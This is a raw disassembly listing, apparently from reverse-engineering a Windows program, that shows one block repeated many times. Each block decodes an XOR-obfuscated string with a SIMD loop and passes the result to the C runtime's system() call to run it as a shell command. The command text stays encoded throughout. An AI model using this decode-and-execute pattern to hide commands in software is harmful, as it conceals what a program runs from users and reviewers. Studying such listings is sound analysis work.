movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0xa0
jl 0x14005f630
cmp r8d, 0xa1
jge 0x14005f764
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0xa1
jl 0x14005f730
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x315b]
lea rcx, [rbp + 0x6d]
mov byte [rbp + 0x6d], al
call fcn.140074ea0
mov r10, rax
cmp byte [rax + 0x2d], 0
je 0x14005f8e1
mov r8d, r14d
cmp r15d, 2
jl 0x14005f8a3
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm10
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm10
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x28
jl 0x14005f7b0
cmp r8d, 0x2e
jge 0x14005f8e1
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x2e
jl 0x14005f8b0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x4b48]
lea rcx, [rbp + 0x6e]
mov byte [rbp + 0x6e], al
call fcn.140074ee0
mov r10, rax
cmp byte [rax + 0x5b], 0
je 0x14005fa61
mov r8d, r14d
cmp r15d, 2
jl 0x14005fa23
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm10
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm10
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x58
jl 0x14005f930
cmp r8d, 0x5c
jge 0x14005fa61
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x5c
jl 0x14005fa30
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x526a]
lea rcx, [rbp + 0x6f]
mov byte [rbp + 0x6f], al
call fcn.140074f30
mov r10, rax
cmp byte [rax + 0x62], 0
je 0x14005fbe1
mov r8d, r14d
cmp r15d, 2
jl 0x14005fba3
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm10
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm10
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x60
jl 0x14005fab0
cmp r8d, 0x63
jge 0x14005fbe1
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x63
jl 0x14005fbb0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x4930]
lea rcx, [rbp + 0x70]
mov byte [rbp + 0x70], al
call fcn.140074f90
mov r10, rax
cmp byte [rax + 0x57], 0
je 0x14005fd61
cmp r15d, 2
jl 0x14005fd1d
movdqa xmmword [rbp + 0x10], xmm13
mov edx, r14d
mov r8d, dword [rbp + 0x10]
mov rcx, rax
nop word [rax + rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm10
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm10
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add edx, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, r8d
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp edx, 0x58
jl 0x14005fc30
jmp 0x14005fd61
mov r9, r10
mov r8d, r14d
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, dl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x58
jl 0x14005fd30
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x5020]
lea rcx, [rbp + 0x71]
mov byte [rbp + 0x71], al
call fcn.140074fe0
mov r10, rax
cmp byte [rax + 0x60], 0
je 0x14005fee1
mov r8d, r14d
cmp r15d, 2
jl 0x14005fea3
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm10
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm10
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x60
jl 0x14005fdb0
cmp r8d, 0x61
jge 0x14005fee1
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x61
jl 0x14005feb0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x3ba5]
lea rcx, [rbp + 0x72]
mov byte [rbp + 0x72], al
call fcn.140075030
mov r10, rax
cmp byte [rax + 0x3a], 0
je 0x140060061
mov r8d, r14d
cmp r15d, 2
jl 0x140060023
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm10
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm10
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x38
jl 0x14005ff30
cmp r8d, 0x3b
jge 0x140060061
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x3b
jl 0x140060030
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x46e0]
lea rcx, [rbp + 0x73]
mov byte [rbp + 0x73], al
call fcn.140075080
mov r10, rax
cmp byte [rax + 0x53], 0
je 0x1400601e1
mov r8d, r14d
cmp r15d, 2
jl 0x1400601a3
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm10
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm10
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x50
jl 0x1400600b0
cmp r8d, 0x54
jge 0x1400601e1
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x54
jl 0x1400601b0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x4734]
lea rcx, [rbp + 0x74]
mov byte [rbp + 0x74], al
call fcn.1400750d0
mov r10, rax
cmp byte [rax + 0x53], 0
je 0x140060361
mov r8d, r14d
cmp r15d, 2
jl 0x140060323
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm10
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm10
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x50
jl 0x140060230
cmp r8d, 0x54
jge 0x140060361
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x54
jl 0x140060330
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x4988]
lea rcx, [rbp + 0x75]
mov byte [rbp + 0x75], al
call fcn.140075120
mov r10, rax
cmp byte [rax + 0x58], 0
je 0x1400604e1
mov r8d, r14d
cmp r15d, 2
jl 0x1400604a3
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm10
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm10
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x58
jl 0x1400603b0
cmp r8d, 0x59
jge 0x1400604e1
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x59
jl 0x1400604b0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x4884]
lea rcx, [rbp + 0x76]
mov byte [rbp + 0x76], al
call fcn.140075180
mov r10, rax
cmp byte [rax + 0x55], 0
je 0x140060661
mov r8d, r14d
cmp r15d, 2
jl 0x140060623
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm10
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm10
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x50
jl 0x140060530
cmp r8d, 0x56
jge 0x140060661
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x56
jl 0x140060630
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x4181]
lea rcx, [rbp + 0x77]
mov byte [rbp + 0x77], al
call fcn.1400751d0
mov r10, rax
cmp byte [rax + 0x46], 0
je 0x1400607e1
mov r8d, r14d
cmp r15d, 2
jl 0x1400607a3
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm10
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm10
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x40
jl 0x1400606b0
cmp r8d, 0x47
jge 0x1400607e1
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x47
jl 0x1400607b0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x40b2]
lea rcx, [rbp + 0x78]
mov byte [rbp + 0x78], al
call fcn.140075220
mov r10, rax
cmp byte [rax + 0x43], 0
je 0x140060961
mov r8d, r14d
cmp r15d, 2
jl 0x140060923
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm10
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm10
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x40
jl 0x140060830
cmp r8d, 0x44
jge 0x140060961
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x44
jl 0x140060930
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x3de0]
lea rcx, [rbp + 0x79]
mov byte [rbp + 0x79], al
call fcn.140075260
mov r10, rax
cmp byte [rax + 0x3f], 0
je 0x140060ae1
cmp r15d, 2
jl 0x140060a9d
movdqa xmmword [rbp + 0x10], xmm13
mov edx, r14d
mov r8d, dword [rbp + 0x10]
mov rcx, rax
nop word [rax + rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
